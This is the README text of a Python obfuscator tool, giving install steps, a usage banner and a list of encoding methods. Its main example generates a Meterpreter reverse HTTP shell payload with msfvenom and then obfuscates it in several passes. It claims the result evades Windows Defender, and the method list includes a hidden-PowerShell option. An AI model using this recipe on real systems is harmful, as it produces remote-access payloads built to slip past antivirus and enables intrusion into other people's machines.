git clone https://github.com/spicesouls/onelinepy
cd onelinepy
chmod +x setup.sh
./setup.sh
onelinepy

              _ _                 
  ___ ___ ___| |_|___ ___ ___ _ _
 | . |   | -_| | |   | -_| . | | |     Python
 |___|_|_|___|_|_|_|_|___|  _|_  |     Obfuscator
                         |_| |___|

usage: oneline.py [-h] [-m M] [-i I] [--script SCRIPT] [--code CODE] [--list] [--output OUTPUT]

optional arguments:
  -h, --help       show this help message and exit
  -m M             Obfuscating Method (i.e, -m /one_line/base64)
  -i I             Iterations For Obfuscation.
  --script SCRIPT  File path of Python file to Obfuscate.
  --code CODE      Python code to Obfuscate.
  --list           List Obfuscating Methods.
  --output OUTPUT  Output File.

1. Generate Python Payload:

msfvenom --payload python/meterpreter_reverse_http LHOST=... LPORT=... > payload.txt

2. Obfuscate Payload

onelinepy -m /one_line/base64 --script payload.txt -i 3 --output obfuscated_payload.txt

3. Profit! The Obfuscated Payload works against Windows Defender.

onelinepy -m /one_line/base64 --script payload.py -i 3

onelinepy -m /one_line/hex --code "print('HEX!')"

              _ _                 
  ___ ___ ___| |_|___ ___ ___ _ _
 | . |   | -_| | |   | -_| . | | |     Python
 |___|_|_|___|_|_|_|_|___|  _|_  |     Obfuscator
                         |_| |___|


  Obfuscators ( * = May cause Syntax Errors )
 -=============-
 0	/one_line/hex
 1	/one_line/base64
 2	/one_line/base32
 3	/one_line/gunzip*
 4	/one_line/rot13*
 5	/cmd/command
 6	/cmd/powershell
 7	/cmd/powershellhidden